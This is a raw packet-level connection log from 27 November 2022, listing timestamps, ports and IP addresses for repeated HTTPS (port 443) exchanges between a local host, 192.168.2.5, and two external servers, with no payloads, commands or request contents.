Nov 27, 2022 04:38:01.845817089 CET	443	49900	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:01.846378088 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.857135057 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.857176065 CET	443	49900	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:01.857758045 CET	443	49900	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:01.860027075 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.860836983 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.860865116 CET	443	49900	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:01.899656057 CET	49901	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:01.899738073 CET	443	49901	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:01.900089979 CET	49901	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:01.900460958 CET	49901	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:01.900491953 CET	443	49901	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:01.900593042 CET	443	49901	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:01.944950104 CET	443	49900	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:01.945069075 CET	443	49900	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:01.958307981 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.983041048 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.983088970 CET	443	49900	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.121128082 CET	49902	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.121181965 CET	443	49902	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.121316910 CET	49902	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.122828007 CET	49902	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.122843981 CET	443	49902	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.163069010 CET	49903	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.163116932 CET	443	49903	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.172686100 CET	49903	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.173122883 CET	443	49902	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.177869081 CET	49903	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.177891970 CET	443	49903	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.177941084 CET	443	49903	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.182554007 CET	49902	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.192342043 CET	49902	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.192358017 CET	443	49902	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.287763119 CET	49902	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.287811041 CET	443	49902	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.359364033 CET	443	49902	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.359503984 CET	443	49902	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.359894037 CET	49902	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.371035099 CET	49902	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.371068954 CET	443	49902	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.395791054 CET	49904	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.395829916 CET	443	49904	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.409064054 CET	49904	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.409643888 CET	49904	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.409662962 CET	443	49904	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.409699917 CET	443	49904	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.493839025 CET	49905	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.493901968 CET	443	49905	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.496654987 CET	49905	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.498039961 CET	49905	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.498066902 CET	443	49905	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.544142008 CET	443	49905	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.553534031 CET	49905	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.556994915 CET	49905	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.557024002 CET	443	49905	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.561572075 CET	49905	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.561604023 CET	443	49905	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.598437071 CET	49906	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.598499060 CET	443	49906	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.599123955 CET	49906	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.599484921 CET	49906	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.599504948 CET	443	49906	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.599545956 CET	443	49906	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.648039103 CET	443	49905	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.648158073 CET	443	49905	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.653830051 CET	49905	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.668900967 CET	49905	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.668947935 CET	443	49905	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.789637089 CET	49907	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.789691925 CET	443	49907	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.791416883 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.791465044 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.792396069 CET	49907	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.792401075 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.792990923 CET	49907	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:02.793009043 CET	443	49907	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.793076992 CET	443	49907	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:02.793204069 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.793217897 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.847244978 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.871121883 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.903840065 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.903851032 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.907952070 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.907958984 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.967974901 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.970752954 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.970772028 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.985833883 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.996195078 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.996284962 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.996536970 CET	443	49908	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:02.996586084 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:02.996721983 CET	49908	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.026181936 CET	49909	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.026257038 CET	443	49909	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.028453112 CET	49909	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.028923035 CET	49909	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.028959990 CET	443	49909	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.029007912 CET	443	49909	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.107042074 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.107090950 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.107315063 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.109513044 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.109536886 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.157390118 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.163683891 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.163834095 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.190361023 CET	49911	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.190409899 CET	443	49911	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.193485022 CET	49911	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.200370073 CET	49911	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.200392962 CET	443	49911	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.200509071 CET	443	49911	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.204108953 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.204168081 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.205071926 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.208477974 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.232928991 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.232975960 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.292124033 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.292304993 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.294778109 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.308453083 CET	49910	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.308506966 CET	443	49910	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.428826094 CET	49912	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.428884983 CET	443	49912	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.431807041 CET	49912	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.432209015 CET	49912	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.432233095 CET	443	49912	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.432332039 CET	443	49912	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.435666084 CET	49913	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.435733080 CET	443	49913	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.435831070 CET	49913	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.436392069 CET	49913	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.436428070 CET	443	49913	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.485588074 CET	443	49913	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.489149094 CET	49913	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.495244026 CET	49913	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.495284081 CET	443	49913	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.504928112 CET	49913	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.504975080 CET	443	49913	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.552716017 CET	49914	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.552789927 CET	443	49914	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.562596083 CET	49914	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.589648008 CET	443	49913	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.589803934 CET	443	49913	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.594176054 CET	49913	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.594538927 CET	49914	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.594599009 CET	443	49914	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.594666004 CET	443	49914	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.597085953 CET	49913	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.597115993 CET	443	49913	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.803071022 CET	49915	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.803131104 CET	443	49915	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.803345919 CET	49915	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.803730965 CET	49915	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:03.803756952 CET	443	49915	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.803879976 CET	443	49915	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:03.820123911 CET	49916	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.820199013 CET	443	49916	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.821046114 CET	49916	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.828099966 CET	49916	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.828165054 CET	443	49916	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.877526045 CET	443	49916	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.877767086 CET	49916	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.895706892 CET	49916	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.895751953 CET	443	49916	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.928589106 CET	49916	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.928631067 CET	443	49916	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.987900972 CET	443	49916	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.988059998 CET	443	49916	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:03.988173008 CET	49916	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.993011951 CET	49916	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:03.993052006 CET	443	49916	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.038018942 CET	49917	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.038100958 CET	443	49917	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.043056965 CET	49917	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.043286085 CET	49917	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.043314934 CET	443	49917	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.043426991 CET	443	49917	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.119857073 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.119940996 CET	443	49918	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.123903036 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.124540091 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.124581099 CET	443	49918	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.153214931 CET	49919	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.153283119 CET	443	49919	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.155622959 CET	49919	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.156198025 CET	49919	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.156246901 CET	443	49919	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.156339884 CET	443	49919	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.174608946 CET	443	49918	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.185858965 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.186820984 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.186846972 CET	443	49918	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.190947056 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.190974951 CET	443	49918	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.279488087 CET	443	49918	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.279639006 CET	443	49918	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.287213087 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.287213087 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.396734953 CET	49920	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.396819115 CET	443	49920	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.401917934 CET	49920	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.425638914 CET	49920	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.425690889 CET	443	49920	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.425846100 CET	443	49920	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.425911903 CET	49921	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.425977945 CET	443	49921	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.429980040 CET	49921	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.469796896 CET	49921	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.469841003 CET	443	49921	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.519741058 CET	443	49921	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.519896984 CET	49921	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.527004004 CET	49921	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.527023077 CET	443	49921	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.531187057 CET	49921	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.531199932 CET	443	49921	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.641653061 CET	443	49921	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.641809940 CET	443	49921	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.641932011 CET	49922	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.642010927 CET	443	49922	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.643527031 CET	49921	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.643599987 CET	49922	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.644042969 CET	49922	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.644077063 CET	443	49922	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.644129992 CET	443	49922	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.659342051 CET	49921	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.659382105 CET	443	49921	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.678486109 CET	49918	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.678535938 CET	443	49918	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.940562010 CET	49923	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.940639973 CET	443	49923	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.942315102 CET	49924	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.942357063 CET	443	49924	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:04.942473888 CET	49923	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.942739964 CET	49924	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.942979097 CET	49923	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:04.943022013 CET	443	49923	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.943109989 CET	443	49923	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:04.955291033 CET	49924	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:04.955321074 CET	443	49924	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.004865885 CET	443	49924	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.005021095 CET	49924	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.009155035 CET	49924	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.009176016 CET	443	49924	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.013210058 CET	49924	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.013226986 CET	443	49924	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.106000900 CET	443	49924	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.106162071 CET	443	49924	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.109505892 CET	49924	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.109834909 CET	49924	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.109878063 CET	443	49924	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.121033907 CET	49925	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.121090889 CET	443	49925	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.121253014 CET	49925	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.121478081 CET	49925	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.121498108 CET	443	49925	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.121592999 CET	443	49925	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.241995096 CET	49926	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.242089987 CET	443	49926	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.246406078 CET	49926	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.246598005 CET	49926	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.246629953 CET	443	49926	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.246778011 CET	443	49926	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.406651974 CET	49927	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.406732082 CET	443	49927	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.413054943 CET	49927	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.419682980 CET	49927	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.419749022 CET	443	49927	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.472212076 CET	443	49927	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.484095097 CET	49927	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.487164021 CET	49927	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.487202883 CET	443	49927	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.490181923 CET	49927	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.490200996 CET	443	49927	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.565769911 CET	49928	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.565844059 CET	443	49928	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.567384958 CET	49928	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.567581892 CET	49928	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.567605019 CET	443	49928	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.567740917 CET	443	49928	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.610169888 CET	443	49927	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.610316038 CET	443	49927	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.625045061 CET	49927	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.638547897 CET	49927	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.638587952 CET	443	49927	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.819025993 CET	49929	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.819107056 CET	443	49929	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.820353031 CET	49929	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.820539951 CET	49929	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:05.820564032 CET	443	49929	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.820677996 CET	443	49929	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:05.900073051 CET	49930	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.900120974 CET	443	49930	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.908323050 CET	49930	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.923118114 CET	49930	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:05.923144102 CET	443	49930	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.973985910 CET	443	49930	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:05.989218950 CET	49930	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.032941103 CET	49930	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.032958031 CET	443	49930	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.035784006 CET	49930	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.035799026 CET	443	49930	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.081971884 CET	49931	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.082039118 CET	443	49931	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.082204103 CET	49931	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.082391977 CET	49931	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.082415104 CET	443	49931	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.082609892 CET	443	49931	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.101660013 CET	443	49930	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.101814032 CET	443	49930	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.110356092 CET	49930	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.144018888 CET	49930	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.144042969 CET	443	49930	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.342885017 CET	49932	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.342966080 CET	443	49932	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.343173981 CET	49932	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.343391895 CET	49932	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.343415976 CET	443	49932	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.343534946 CET	443	49932	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.656021118 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.656059980 CET	443	49933	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.656795979 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.696660995 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.696691036 CET	443	49933	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.745548010 CET	443	49933	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.748935938 CET	49934	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.748985052 CET	443	49934	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.755918980 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.755925894 CET	49934	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.756539106 CET	49934	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.756572008 CET	443	49934	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.756661892 CET	443	49934	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.819926023 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.819962978 CET	443	49933	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.822858095 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.822885990 CET	443	49933	172.66.43.60	192.168.2.5
